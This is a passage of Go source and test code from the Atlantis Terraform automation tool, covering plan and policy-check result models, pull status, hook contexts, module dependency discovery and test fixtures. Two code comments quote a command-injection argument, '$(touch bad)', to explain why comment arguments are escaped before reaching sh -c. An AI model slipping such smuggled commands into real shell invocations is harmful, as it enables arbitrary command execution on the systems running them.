project. RePlanCmd string // ApplyCmd is the command that users should run to apply this plan. ApplyCmd string // ApprovePoliciesCmd is the command that users should run to approve policies for this plan. ApprovePoliciesCmd string // HasDiverged is true if we're using the checkout merge strategy and the // branch we're merging into has been updated since we cloned and merged // it. HasDiverged bool } // ImportSuccess is the result of a successful import run. type ImportSuccess struct { // Output is the output from terraform import Output string // RePlanCmd is the command that users should run to re-plan this project. RePlanCmd string } // StateRmSuccess is the result of a successful state rm run. type StateRmSuccess struct { // Output is the output from terraform state rm Output string // RePlanCmd is the command that users should run to re-plan this project. RePlanCmd string } func (p *PolicyCheckResults) CombinedOutput() string { combinedOutput := "" for _, psResult := range p.PolicySetResults { // accounting for json output from conftest. for psResultLine := range strings.SplitSeq(psResult.PolicyOutput, "\\n") { combinedOutput = fmt.Sprintf("%s\n%s", combinedOutput, psResultLine) } } return combinedOutput } // Summary extracts one line summary of each policy check. func (p *PolicyCheckResults) Summary() string { note := "" for _, policySetResult := range p.PolicySetResults { r := regexp.MustCompile(`\d+ tests?, \d+ passed, \d+ warnings?, \d+ failures?, \d+ exceptions?(, \d skipped)?`) if match := r.FindString(policySetResult.PolicyOutput); match != "" { note = fmt.Sprintf("%s\npolicy set: %s: %s", note, policySetResult.PolicySetName, match) } } return strings.Trim(note, "\n") } // PolicyCleared is used to determine if policies have all succeeded or been approved. func (p *PolicyCheckResults) PolicyCleared() bool { passing := true for _, policySetResult := range p.PolicySetResults { if !policySetResult.Passed && (policySetResult.CurApprovals != policySetResult.ReqApprovals) { passing = false } } return passing } // PolicySummary returns a summary of the current approval state of policy sets. func (p *PolicyCheckResults) PolicySummary() string { var summary []string for _, policySetResult := range p.PolicySetResults { if policySetResult.Passed { summary = append(summary, fmt.Sprintf("policy set: %s: passed.", policySetResult.PolicySetName)) } else if policySetResult.CurApprovals == policySetResult.ReqApprovals { summary = append(summary, fmt.Sprintf("policy set: %s: approved.", policySetResult.PolicySetName)) } else { summary = append(summary, fmt.Sprintf("policy set: %s: requires: %d approval(s), have: %d.", policySetResult.PolicySetName, policySetResult.ReqApprovals, policySetResult.CurApprovals)) } } return strings.Join(summary, "\n") } type VersionSuccess struct { VersionOutput string } // PullStatus is the current status of a pull request that is in progress. type PullStatus struct { // Projects are the projects that have been modified in this pull request. Projects []ProjectStatus // Pull is the original pull request model. Pull PullRequest } // StatusCount returns the number of projects that have status. func (p PullStatus) StatusCount(status ProjectPlanStatus) int { c := 0 for _, pr := range p.Projects { if pr.Status == status { c++ } } return c } // ProjectStatus is the status of a specific project. type ProjectStatus struct { Workspace string RepoRelDir string ProjectName string // PolicySetApprovals tracks the approval status of every PolicySet for a Project. PolicyStatus []PolicySetStatus // Status is the status of where this project is at in the planning cycle. Status ProjectPlanStatus } // ProjectPlanStatus is the status of where this project is at in the planning // cycle. type ProjectPlanStatus int const ( // ErroredPlanStatus means that this plan has an error or the apply has an // error. ErroredPlanStatus ProjectPlanStatus = iota // PlannedPlanStatus means that a plan has been successfully generated but // not yet applied. PlannedPlanStatus // PlannedNoChangesPlanStatus means that a plan has been successfully // generated with "No changes" and not yet applied. PlannedNoChangesPlanStatus // ErroredApplyStatus means that a plan has been generated but there was an // error while applying it. ErroredApplyStatus // AppliedPlanStatus means that a plan has been generated and applied // successfully. AppliedPlanStatus // DiscardedPlanStatus means that there was an unapplied plan that was // discarded due to a project being unlocked DiscardedPlanStatus // ErroredPolicyCheckStatus means that there was an unapplied plan that was // discarded due to a project being unlocked ErroredPolicyCheckStatus // PassedPolicyCheckStatus means that there was an unapplied plan that was // discarded due to a project being unlocked PassedPolicyCheckStatus ) // String returns a string representation of the status. func (p ProjectPlanStatus) String() string { switch p { case ErroredPlanStatus: return "plan_errored" case PlannedPlanStatus: return "planned" case PlannedNoChangesPlanStatus: return "planned_no_changes" case ErroredApplyStatus: return "apply_errored" case AppliedPlanStatus: return "applied" case DiscardedPlanStatus: return "plan_discarded" case ErroredPolicyCheckStatus: return "policy_check_errored" case PassedPolicyCheckStatus: return "policy_check_passed" default: panic("missing String() impl for ProjectPlanStatus") } } // TeamAllowlistCheckerContext defines the context for a TeamAllowlistChecker to verify // command permissions. type TeamAllowlistCheckerContext struct { // BaseRepo is the repository that the pull request will be merged into. BaseRepo Repo // The name of the command that is being executed, i.e. 'plan', 'apply' etc. CommandName string // EscapedCommentArgs are the extra arguments that were added to the atlantis // command, ex. atlantis plan -- -target=resource. We then escape them // by adding a \ before each character so that they can be used within // sh -c safely, i.e. sh -c "terraform plan $(touch bad)". EscapedCommentArgs []string // HeadRepo is the repository that is getting merged into the BaseRepo. // If the pull request branch is from the same repository then HeadRepo will // be the same as BaseRepo. HeadRepo Repo // Log is a logger that's been set up for this context. Log logging.SimpleLogging // Pull is the pull request we're responding to. Pull PullRequest // ProjectName is the name of the project set in atlantis.yaml. If there was // no name this will be an empty string. ProjectName string // RepoDir is the absolute path to the repo root RepoDir string // RepoRelDir is the directory of this project relative to the repo root. RepoRelDir string // User is the user that triggered this command. User User // Verbose is true when the user would like verbose output. Verbose bool // Workspace is the Terraform workspace this project is in. It will always // be set. Workspace string // API is true if plan/apply by API endpoints API bool } // WorkflowHookCommandContext defines the context for a pre and post workflow_hooks that will // be executed before workflows. type WorkflowHookCommandContext struct { // BaseRepo is the repository that the pull request will be merged into. BaseRepo Repo // The name of the command that is being executed, i.e. 'plan', 'apply' etc. CommandName string // Set true if there were any errors during the command execution CommandHasErrors bool // EscapedCommentArgs are the extra arguments that were added to the atlantis // command, ex. atlantis plan -- -target=resource. We then escape them // by adding a \ before each character so that they can be used within // sh -c safely, i.e. sh -c "terraform plan $(touch bad)". EscapedCommentArgs []string // HeadRepo is the repository that is getting merged into the BaseRepo. // If the pull request branch is from the same repository then HeadRepo will // be the same as BaseRepo. HeadRepo Repo // HookDescription is a description of the hook that is being executed. HookDescription string // UUID for reference HookID string // HookStepName is the name of the step that is being executed. HookStepName string // Log is a logger that's been set up for this context. Log logging.SimpleLogging // Pull is the pull request we're responding to. Pull PullRequest // ProjectName is the name of the project set in atlantis.yaml. If there was // no name this will be an empty string. ProjectName string // RepoRelDir is the directory of this project relative to the repo root. RepoRelDir string // User is the user that triggered this command. User User // Verbose is true when the user would like verbose output. Verbose bool // Workspace is the Terraform workspace this project is in. It will always // be set. Workspace string // API is true if plan/apply by API endpoints API bool } // PlanSuccessStats holds stats for a plan. type PlanSuccessStats struct { Import, Add, Change, Destroy int Changes, ChangesOutside bool } func NewPlanSuccessStats(output string) PlanSuccessStats { m := rePlanChanges.FindStringSubmatch(output) s := PlanSuccessStats{ ChangesOutside: reChangesOutside.MatchString(output), Changes: len(m) > 0, } if s.Changes { // We can skip checking the error here as we can assume // Terraform output will always render an integer on these // blocks. s.Import, _ = strconv.Atoi(m[1]) s.Add, _ = strconv.Atoi(m[2]) s.Change, _ = strconv.Atoi(m[3]) s.Destroy, _ = strconv.Atoi(m[4]) } return s } ================================================ FILE: server/events/models/models_test.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package models_test import ( "fmt" "testing" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/events/vcs/azuredevops" . "github.com/runatlantis/atlantis/testing" ) func TestNewRepo_EmptyRepoFullName(t *testing.T) { _, err := models.NewRepo(models.Github, "", "https://github.com/notowner/repo.git", "u", "p") ErrEquals(t, "repoFullName can't be empty", err) } func TestNewRepo_EmptyCloneURL(t *testing.T) { _, err := models.NewRepo(models.Github, "owner/repo", "", "u", "p") ErrEquals(t, "cloneURL can't be empty", err) } func TestNewRepo_InvalidCloneURL(t *testing.T) { _, err := models.NewRepo(models.Github, "owner/repo", ":", "u", "p") ErrEquals(t, "invalid clone url: parse \":.git\": missing protocol scheme", err) } func TestNewRepo_CloneURLWrongRepo(t *testing.T) { _, err := models.NewRepo(models.Github, "owner/repo", "https://github.com/notowner/repo.git", "u", "p") ErrEquals(t, `expected clone url to have path "/owner/repo.git" but had "/notowner/repo.git"`, err) } func TestNewRepo_EmptyAzureDevopsProject(t *testing.T) { _, err := models.NewRepo(models.AzureDevops, "", "https://dev.azure.com/notowner/project/_git/repo", "u", "p") ErrEquals(t, "repoFullName can't be empty", err) } // For bitbucket server we don't validate the clone URL because the callers // are actually constructing it. func TestNewRepo_CloneURLBitbucketServer(t *testing.T) { repo, err := models.NewRepo(models.BitbucketServer, "owner/repo", "http://mycorp.com:7990/scm/at/atlantis-example.git", "u", "p") Ok(t, err) Equals(t, models.Repo{ FullName: "owner/repo", Owner: "owner", Name: "repo", CloneURL: "http://u:p@mycorp.com:7990/scm/at/atlantis-example.git", SanitizedCloneURL: "http://u:@mycorp.com:7990/scm/at/atlantis-example.git", VCSHost: models.VCSHost{ Hostname: "mycorp.com", Type: models.BitbucketServer, }, }, repo) } // If the clone URL contains a space, NewRepo() should encode it func TestNewRepo_CloneURLContainsSpace(t *testing.T) { repo, err := models.NewRepo(models.AzureDevops, "owner/project space/repo", "https://dev.azure.com/owner/project space/repo", "u", "p") Ok(t, err) Equals(t, repo.CloneURL, "https://u:p@dev.azure.com/owner/project%20space/repo") Equals(t, repo.SanitizedCloneURL, "https://u:@dev.azure.com/owner/project%20space/repo") repo, err = models.NewRepo(models.BitbucketCloud, "owner/repo space", "https://bitbucket.org/owner/repo space", "u", "p") Ok(t, err) Equals(t, repo.CloneURL, "https://u:p@bitbucket.org/owner/repo%20space.git") Equals(t, repo.SanitizedCloneURL, "https://u:@bitbucket.org/owner/repo%20space.git") } func TestNewRepo_FullNameWrongFormat(t *testing.T) { cases := []struct { repoFullName string expErr string }{ { "owner/repo/extra", `invalid repo format "owner/repo/extra", owner "owner/repo" should not contain any /'s`, }, { "/", `invalid repo format "/", owner "" or repo "" was empty`, }, { "//", `invalid repo format "//", owner "" or repo "" was empty`, }, { "///", `invalid repo format "///", owner "" or repo "" was empty`, }, { "a/", `invalid repo format "a/", owner "" or repo "" was empty`, }, { "/b", `invalid repo format "/b", owner "" or repo "b" was empty`, }, } for _, c := range cases { t.Run(c.repoFullName, func(t *testing.T) { cloneURL := fmt.Sprintf("https://github.com/%s.git", c.repoFullName) _, err := models.NewRepo(models.Github, c.repoFullName, cloneURL, "u", "p") ErrEquals(t, c.expErr, err) }) } } // If the clone url doesn't end with .git, and VCS is not Azure DevOps, it is appended func TestNewRepo_MissingDotGit(t *testing.T) { repo, err := models.NewRepo(models.BitbucketCloud, "owner/repo", "https://bitbucket.org/owner/repo", "u", "p") Ok(t, err) Equals(t, repo.CloneURL, "https://u:p@bitbucket.org/owner/repo.git") Equals(t, repo.SanitizedCloneURL, "https://u:@bitbucket.org/owner/repo.git") } func TestNewRepo_HTTPAuth(t *testing.T) { // When the url has http the auth should be added. repo, err := models.NewRepo(models.Github, "owner/repo", "http://github.com/owner/repo.git", "u", "p") Ok(t, err) Equals(t, models.Repo{ VCSHost: models.VCSHost{ Hostname: "github.com", Type: models.Github, }, SanitizedCloneURL: "http://u:@github.com/owner/repo.git", CloneURL: "http://u:p@github.com/owner/repo.git", FullName: "owner/repo", Owner: "owner", Name: "repo", }, repo) } func TestNewRepo_HTTPSAuth(t *testing.T) { // When the url has https the auth should be added. repo, err := models.NewRepo(models.Github, "owner/repo", "https://github.com/owner/repo.git", "u", "p") Ok(t, err) Equals(t, models.Repo{ VCSHost: models.VCSHost{ Hostname: "github.com", Type: models.Github, }, SanitizedCloneURL: "https://u:@github.com/owner/repo.git", CloneURL: "https://u:p@github.com/owner/repo.git", FullName: "owner/repo", Owner: "owner", Name: "repo", }, repo) } func TestProject_String(t *testing.T) { Equals(t, "repofullname=owner/repo path=my/path", (models.Project{ RepoFullName: "owner/repo", Path: "my/path", }).String()) } func TestNewProject(t *testing.T) { cases := []struct { repo string path string name string expProject models.Project }{ { repo: "foo/bar", path: "/", name: "", expProject: models.Project{ ProjectName: "", RepoFullName: "foo/bar", Path: ".", }, }, { repo: "baz/foo", path: "./another/path", name: "somename", expProject: models.Project{ ProjectName: "somename", RepoFullName: "baz/foo", Path: "another/path", }, }, { repo: "baz/foo", path: ".", name: "somename", expProject: models.Project{ ProjectName: "somename", RepoFullName: "baz/foo", Path: ".", }, }, } for _, c := range cases { t.Run(fmt.Sprintf("%s_%s", c.name, c.path), func(t *testing.T) { p := models.NewProject(c.repo, c.path, c.name) Equals(t, c.expProject, p) }) } } func TestVCSHostType_ToString(t *testing.T) { cases := []struct { vcsType models.VCSHostType exp string }{ { models.Github, "Github", }, { models.Gitlab, "Gitlab", }, { models.BitbucketCloud, "BitbucketCloud", }, { models.BitbucketServer, "BitbucketServer", }, { models.AzureDevops, "AzureDevops", }, } for _, c := range cases { t.Run(c.exp, func(t *testing.T) { Equals(t, c.exp, c.vcsType.String()) }) } } func TestSplitRepoFullName(t *testing.T) { cases := []struct { input string expOwner string expRepo string }{ { "owner/repo", "owner", "repo", }, { "group/subgroup/owner/repo", "group/subgroup/owner", "repo", }, { "", "", "", }, { "/", "", "", }, { "owner/", "", "", }, { "/repo", "", "repo", }, { "group/subgroup/", "", "", }, } for _, c := range cases { t.Run(c.input, func(t *testing.T) { owner, repo := models.SplitRepoFullName(c.input) Equals(t, c.expOwner, owner) Equals(t, c.expRepo, repo) }) } } // These test cases should cover the same behavior as TestSplitRepoFullName // and only produce different output in the AzureDevops case of // owner/project/repo. func TestAzureDevopsSplitRepoFullName(t *testing.T) { cases := []struct { input string expOwner string expRepo string expProject string }{ { "owner/repo", "owner", "repo", "", }, { "group/subgroup/owner/repo", "group/subgroup/owner", "repo", "", }, { "group/subgroup/owner/project/repo", "group/subgroup/owner/project", "repo", "", }, { "", "", "", "", }, { "/", "", "", "", }, { "owner/", "", "", "", }, { "/repo", "", "repo", "", }, { "group/subgroup/", "", "", "", }, { "owner/project/repo", "owner", "repo", "project", }, } for _, c := range cases { t.Run(c.input, func(t *testing.T) { owner, project, repo := azuredevops.SplitAzureDevopsRepoFullName(c.input) Equals(t, c.expOwner, owner) Equals(t, c.expProject, project) Equals(t, c.expRepo, repo) }) } } func TestPlanSuccess_Summary(t *testing.T) { cases := []struct { input string exp string }{ { "Note: Objects have changed outside of Terraform\ndummy\nPlan: 0 to add, 1 to change, 2 to destroy.", "\n**Note: Objects have changed outside of Terraform**\nPlan: 0 to add, 1 to change, 2 to destroy.", }, { "dummy\nPlan: 100 to add, 111 to change, 222 to destroy.", "Plan: 100 to add, 111 to change, 222 to destroy.", }, { "dummy\nPlan: 42 to import, 53 to add, 64 to change, 75 to destroy.", "Plan: 42 to import, 53 to add, 64 to change, 75 to destroy.", }, { "Note: Objects have changed outside of Terraform\ndummy\nNo changes. Infrastructure is up-to-date.", "\n**Note: Objects have changed outside of Terraform**\nNo changes. Infrastructure is up-to-date.", }, { "dummy\nNo changes. Your infrastructure matches the configuration.", "No changes. Your infrastructure matches the configuration.", }, } for i, c := range cases { t.Run(fmt.Sprintf("summary %d", i), func(t *testing.T) { pcs := models.PlanSuccess{ TerraformOutput: c.input, } Equals(t, c.exp, pcs.Summary()) }) } } func TestPlanSuccess_DiffSummary(t *testing.T) { cases := []struct { input string exp string }{ { "Note: Objects have changed outside of Terraform\ndummy\nPlan: 0 to add, 1 to change, 2 to destroy.", "Plan: 0 to add, 1 to change, 2 to destroy.", }, { "dummy\nPlan: 100 to add, 111 to change, 222 to destroy.", "Plan: 100 to add, 111 to change, 222 to destroy.", }, { "Note: Objects have changed outside of Terraform\ndummy\nNo changes. Infrastructure is up-to-date.", "No changes. Infrastructure is up-to-date.", }, { "dummy\nNo changes. Your infrastructure matches the configuration.", "No changes. Your infrastructure matches the configuration.", }, } for i, c := range cases { t.Run(fmt.Sprintf("summary %d", i), func(t *testing.T) { pcs := models.PlanSuccess{ TerraformOutput: c.input, } Equals(t, c.exp, pcs.DiffSummary()) }) } } func TestPolicyCheckResults_Summary(t *testing.T) { cases := []struct { description string policysetResults []models.PolicySetResult exp string }{ { description: "test single format with single policy set", policysetResults: []models.PolicySetResult{ { PolicySetName: "policy1", PolicyOutput: "20 tests, 19 passed, 2 warnings, 0 failures, 0 exceptions", }, }, exp: "policy set: policy1: 20 tests, 19 passed, 2 warnings, 0 failures, 0 exceptions", }, { description: "test multiple formats with multiple policy sets", policysetResults: []models.PolicySetResult{ { PolicySetName: "policy1", PolicyOutput: "20 tests, 19 passed, 2 warnings, 0 failures, 0 exceptions", }, { PolicySetName: "policy2", PolicyOutput: "3 tests, 0 passed, 1 warning, 1 failure, 0 exceptions, 1 skipped", }, { PolicySetName: "policy3", PolicyOutput: "1 test, 0 passed, 1 warning, 1 failure, 1 exception", }, }, exp: `policy set: policy1: 20 tests, 19 passed, 2 warnings, 0 failures, 0 exceptions policy set: policy2: 3 tests, 0 passed, 1 warning, 1 failure, 0 exceptions, 1 skipped policy set: policy3: 1 test, 0 passed, 1 warning, 1 failure, 1 exception`, }, } for _, summary := range cases { t.Run(summary.description, func(t *testing.T) { pcs := models.PolicyCheckResults{ PolicySetResults: summary.policysetResults, } Equals(t, summary.exp, pcs.Summary()) }) } } // Test PolicyCleared and PolicySummary func TestPolicyCheckResults_PolicyFuncs(t *testing.T) { cases := []struct { description string policysetResults []models.PolicySetResult policyClearedExp bool policySummaryExp string }{ { description: "single policy set, not passed", policysetResults: []models.PolicySetResult{ { PolicySetName: "policy1", Passed: false, ReqApprovals: 1, }, }, policyClearedExp: false, policySummaryExp: "policy set: policy1: requires: 1 approval(s), have: 0.", }, { description: "single policy set, passed", policysetResults: []models.PolicySetResult{ { PolicySetName: "policy1", Passed: true, ReqApprovals: 1, }, }, policyClearedExp: true, policySummaryExp: "policy set: policy1: passed.", }, { description: "single policy set, fully approved", policysetResults: []models.PolicySetResult{ { PolicySetName: "policy1", Passed: false, ReqApprovals: 1, CurApprovals: 1, }, }, policyClearedExp: true, policySummaryExp: "policy set: policy1: approved.", }, { description: "multiple policy sets, different states.", policysetResults: []models.PolicySetResult{ { PolicySetName: "policy1", Passed: false, ReqApprovals: 2, CurApprovals: 0, }, { PolicySetName: "policy2", Passed: false, ReqApprovals: 1, CurApprovals: 1, }, { PolicySetName: "policy3", Passed: true, ReqApprovals: 1, CurApprovals: 0, }, }, policyClearedExp: false, policySummaryExp: `policy set: policy1: requires: 2 approval(s), have: 0. policy set: policy2: approved. policy set: policy3: passed.`, }, { description: "multiple policy sets, all cleared.", policysetResults: []models.PolicySetResult{ { PolicySetName: "policy1", Passed: false, ReqApprovals: 2, CurApprovals: 2, }, { PolicySetName: "policy2", Passed: false, ReqApprovals: 1, CurApprovals: 1, }, { PolicySetName: "policy3", Passed: true, ReqApprovals: 1, CurApprovals: 0, }, }, policyClearedExp: true, policySummaryExp: `policy set: policy1: approved. policy set: policy2: approved. policy set: policy3: passed.`, }, } for _, summary := range cases { t.Run(summary.description, func(t *testing.T) { pcs := models.PolicyCheckResults{ PolicySetResults: summary.policysetResults, } Equals(t, summary.policyClearedExp, pcs.PolicyCleared()) Equals(t, summary.policySummaryExp, pcs.PolicySummary()) }) } } func TestPullStatus_StatusCount(t *testing.T) { ps := models.PullStatus{ Projects: []models.ProjectStatus{ { Status: models.PlannedPlanStatus, }, { Status: models.PlannedPlanStatus, }, { Status: models.AppliedPlanStatus, }, { Status: models.ErroredApplyStatus, }, { Status: models.DiscardedPlanStatus, }, { Status: models.ErroredPolicyCheckStatus, }, { Status: models.PassedPolicyCheckStatus, }, }, } Equals(t, 2, ps.StatusCount(models.PlannedPlanStatus)) Equals(t, 1, ps.StatusCount(models.AppliedPlanStatus)) Equals(t, 1, ps.StatusCount(models.ErroredApplyStatus)) Equals(t, 0, ps.StatusCount(models.ErroredPlanStatus)) Equals(t, 1, ps.StatusCount(models.DiscardedPlanStatus)) Equals(t, 1, ps.StatusCount(models.ErroredPolicyCheckStatus)) Equals(t, 1, ps.StatusCount(models.PassedPolicyCheckStatus)) } func TestPlanSuccessStats(t *testing.T) { tests := []struct { name string output string exp models.PlanSuccessStats }{ { "has changes", `An execution plan has been generated and is shown below. Resource actions are indicated with the following symbols: - destroy Terraform will perform the following actions: - null_resource.hi[1] Plan: 1 to add, 3 to change, 2 to destroy.`, models.PlanSuccessStats{ Changes: true, Add: 1, Change: 3, Destroy: 2, }, }, { "no changes", `An execution plan has been generated and is shown below. Resource actions are indicated with the following symbols: No changes. Infrastructure is up-to-date.`, models.PlanSuccessStats{}, }, { "changes outside", `Note: Objects have changed outside of Terraform Terraform detected the following changes made outside of Terraform since the last "terraform apply": No changes. Your infrastructure matches the configuration.`, models.PlanSuccessStats{ ChangesOutside: true, }, }, { "with imports", `Terraform used the selected providers to generate the following execution plan. Resource actions are indicated with the following symbols: + create ~ update in-place - destroy Terraform will perform the following actions: - null_resource.hi[1] Plan: 42 to import, 31 to add, 20 to change, 1 to destroy.`, models.PlanSuccessStats{ Changes: true, Import: 42, Add: 31, Change: 20, Destroy: 1, }, }, { "changes and changes outside", `Note: Objects have changed outside of Terraform Terraform detected the following changes made outside of Terraform since the last "terraform apply": An execution plan has been generated and is shown below. Resource actions are indicated with the following symbols: - destroy Terraform will perform the following actions: - null_resource.hi[1] Plan: 3 to add, 0 to change, 1 to destroy.`, models.PlanSuccessStats{ Changes: true, ChangesOutside: true, Add: 3, Change: 0, Destroy: 1, }, }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { s := models.NewPlanSuccessStats(tt.output) if s != tt.exp { t.Errorf("\nexp: %#v\ngot: %#v", tt.exp, s) } }) } } ================================================ FILE: server/events/models/testdata/fixtures.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package testdata import ( "fmt" "github.com/runatlantis/atlantis/server/core/config/valid" "github.com/runatlantis/atlantis/server/events/models" ) var Pull = models.PullRequest{ Num: 1, HeadCommit: "16ca62f65c18ff456c6ef4cacc8d4826e264bb17", HeadBranch: "branch", Author: "lkysow", URL: "url", } var GithubRepo = models.Repo{ CloneURL: "https://user:password@github.com/runatlantis/atlantis.git", FullName: "runatlantis/atlantis", Owner: "runatlantis", SanitizedCloneURL: "https://github.com/runatlantis/atlantis.git", Name: "atlantis", VCSHost: models.VCSHost{ Hostname: "github.com", Type: models.Github, }, } var GitlabRepo = models.Repo{ CloneURL: "https://user:password@github.com/runatlantis/atlantis.git", FullName: "runatlantis/atlantis", Owner: "runatlantis", SanitizedCloneURL: "https://gitlab.com/runatlantis/atlantis.git", Name: "atlantis", VCSHost: models.VCSHost{ Hostname: "gitlab.com", Type: models.Gitlab, }, } var User = models.User{ Username: "lkysow", } var projectName = "test-project" var Project = valid.Project{ Name: &projectName, } var PullInfo = fmt.Sprintf("%s/%d/%s", GithubRepo.FullName, Pull.Num, *Project.Name) ================================================ FILE: server/events/modules.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package events import ( "fmt" "io/fs" "os" "path" "strings" "github.com/hashicorp/terraform-config-inspect/tfconfig" "github.com/moby/patternmatcher" ) type module struct { // path to the module path string // dependencies of this module dependencies map[string]bool // projects that depend on this module projects map[string]bool } func (m *module) String() string { if m == nil { return "nil" } return fmt.Sprintf("%+v", *m) } type ModuleProjects interface { // DependentProjects returns all projects that depend on the module at moduleDir DependentProjects(moduleDir string) []string } type moduleInfo map[string]*module var _ ModuleProjects = moduleInfo{} func (m moduleInfo) String() string { return fmt.Sprintf("%+v", map[string]*module(m)) } func (m moduleInfo) DependentProjects(moduleDir string) (projectPaths []string) { if m == nil || m[moduleDir] == nil { return nil } for project := range m[moduleDir].projects { projectPaths = append(projectPaths, project) } return projectPaths } type tfFs struct { fs.FS } func (t tfFs) Open(name string) (tfconfig.File, error) { return t.FS.Open(name) } func (t tfFs) ReadFile(name string) ([]byte, error) { return fs.ReadFile(t.FS, name) } func (t tfFs) ReadDir(dirname string) ([]os.FileInfo, error) { ls, err := fs.ReadDir(t.FS, dirname) if err != nil { return nil, err } var infos []os.FileInfo for _, l := range ls { info, err := l.Info() if err != nil { return nil, fmt.Errorf("failed to get info for %s: %w", l.Name(), err) } infos = append(infos, info) } return infos, err } var _ tfconfig.FS = tfFs{} func (m moduleInfo) load(files fs.FS, dir string, projects ...string) (_ *module, diags tfconfig.Diagnostics) { if _, set := m[dir]; !set { tfFiles := tfFs{files} var mod *tfconfig.Module mod, diags = tfconfig.LoadModuleFromFilesystem(tfFiles, dir) deps := make(map[string]bool) if mod != nil { for _, c := range mod.ModuleCalls { mPath := path.Join(dir, c.Source) if !tfconfig.IsModuleDirOnFilesystem(tfFiles, mPath) { continue } deps[mPath] = true } } m[dir] = &module{ path: dir, dependencies: deps, projects: make(map[string]bool), } } // set projects on my dependencies for dep := range m[dir].dependencies { _, err := m.load(files, dep, projects...) if err != nil { diags = append(diags, err...) } } // add projects to the list of dependant projects for _, p := range projects { m[dir].projects[p] = true } return m[dir], diags } // FindModuleProjects returns a mapping of modules to projects that depend on them. func FindModuleProjects(absRepoDir string, autoplanModuleDependants string) (ModuleProjects, error) { return findModuleDependants(os.DirFS(absRepoDir), autoplanModuleDependants) } func findModuleDependants(files fs.FS, autoplanModuleDependants string) (ModuleProjects, error) { if autoplanModuleDependants == "" { return moduleInfo{}, nil } // find all the projects matching autoplanModuleDependants filter, _ := patternmatcher.New(strings.Split(autoplanModuleDependants, ",")) var projects []string err := fs.WalkDir(files, ".", func(rel string, info fs.DirEntry, err error) error { if match, _ := filter.MatchesOrParentMatches(rel); match { if projectDir := getProjectDirFromFs(files, rel); projectDir != "" { projects = append(projects, projectDir) } } return err }) if err != nil { return nil, fmt.Errorf("find projects for module dependants: %w", err) } result := make(moduleInfo) var diags tfconfig.Diagnostics // for each project, find the modules it depends on, their deps, etc. for _, projectDir := range projects { if _, err := result.load(files, projectDir, projectDir); err != nil { diags = append(diags, err...) } } // if there are any errors, prefer one with a source location if diags.HasErrors() { for _, d := range diags { if d.Pos != nil { return nil, fmt.Errorf("%s:%d - %s: %s", d.Pos.Filename, d.Pos.Line, d.Summary, d.Detail) } } } return result, diags.Err() } ================================================ FILE: server/events/modules_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package events import ( "embed" "fmt" "io/fs" "sort" "testing" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" ) //go:embed testdata/fs var repos embed.FS func Test_findModuleDependants(t *testing.T) { type args struct { files fs.FS autoplanModuleDependants string } a, err := fs.Sub(repos, "testdata/fs/repoA") require.NoError(t, err) b, err := fs.Sub(repos, "testdata/fs/repoB") require.NoError(t, err) tests := []struct { name string args args want map[string][]string wantErr assert.ErrorAssertionFunc }{ { name: "repoA", args: args{ files: a, autoplanModuleDependants: "**/init.tf", }, want: map[string][]string{ "modules/bar": {"baz", "qux/quxx"}, "modules/foo": {"qux/quxx"}, }, wantErr: assert.NoError, }, { name: "repoB", args: args{ files: b, autoplanModuleDependants: "**/init.tf", }, want: map[string][]string{ "modules/bar": {"dev/quxx", "prod/quxx"}, "modules/foo": {"dev/quxx", "prod/quxx"}, }, wantErr: assert.NoError, }, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { got, err := findModuleDependants(tt.args.files, tt.args.autoplanModuleDependants) if !tt.wantErr(t, err, fmt.Sprintf("findModuleDependants(%v, %v)", tt.args.files, tt.args.autoplanModuleDependants)) { return } for k, v := range tt.want { projects := got.DependentProjects(k) sort.Strings(projects) assert.Equalf(t, v, projects, "%v.DownstreamProjects(%v)", got, k) } }) } } ================================================ FILE: server/events/pending_plan_finder.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package events import ( "fmt" "os" "os/exec" "path/filepath" "strings" "github.com/runatlantis/atlantis/server/core/runtime" "github.com/runatlantis/atlantis/server/utils" ) //go:generate pegomock generate --package mocks -o mocks/mock_pending_plan_finder.go PendingPlanFinder type PendingPlanFinder interface { Find(pullDir string) ([]PendingPlan, error) DeletePlans(pullDir string) error } // DefaultPendingPlanFinder finds unapplied plans. type DefaultPendingPlanFinder struct{} // PendingPlan is a plan that has not been applied. type PendingPlan struct { // RepoDir is the absolute path to the root of the repo that holds this // plan. RepoDir string // RepoRelDir is the relative path from the repo to the project that // the plan is for. RepoRelDir string // Workspace is the workspace this plan should execute in. Workspace string ProjectName string } // Find finds all pending plans in pullDir. pullDir should be the working // directory where Atlantis will operate on this pull request. It's one level // up from where Atlantis clones the repo for each workspace. func (p *DefaultPendingPlanFinder) Find(pullDir string) ([]PendingPlan, error) { plans, _, err := p.findWithAbsPaths(pullDir) return plans, err } func (p *DefaultPendingPlanFinder) findWithAbsPaths(pullDir string) ([]PendingPlan, []string, error) { workspaceDirs, err := os.ReadDir(pullDir) if err != nil { return nil, nil, err } var plans []PendingPlan var absPaths []string for _, workspaceDir := range workspaceDirs { workspace := workspaceDir.Name() repoDir := filepath.Join(pullDir, workspace) // Any generated plans should be untracked by git since Atlantis created // them. lsCmd := exec.Command("git", "ls-files", ".", "--others") // nolint: gosec lsCmd.Dir = repoDir lsOut, err := lsCmd.CombinedOutput() if err != nil { return nil, nil, 